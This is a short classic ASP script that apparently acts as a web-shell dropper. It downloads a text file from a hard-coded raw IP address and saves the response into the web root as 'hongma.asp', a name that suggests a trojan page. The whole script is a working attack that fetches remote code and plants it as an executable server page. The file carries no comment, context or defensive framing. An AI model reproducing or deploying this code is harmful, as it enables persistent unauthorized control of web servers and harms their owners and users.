<%
Dim objXMLHTTP, strURL, strFileName

strURL = "http://120.48.147.210/wtf/aa.txt"
strFileName = Server.MapPath("hongma.asp")

Set objXMLHTTP = Server.CreateObject("MSXML2.ServerXMLHTTP")
objXMLHTTP.Open "GET", strURL, False
objXMLHTTP.Send

If objXMLHTTP.Status = 200 Then
    Set objADOStream = Server.CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1
    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0
    objADOStream.SaveToFile strFileName
    objADOStream.Close
End If

Set objXMLHTTP = Nothing
%>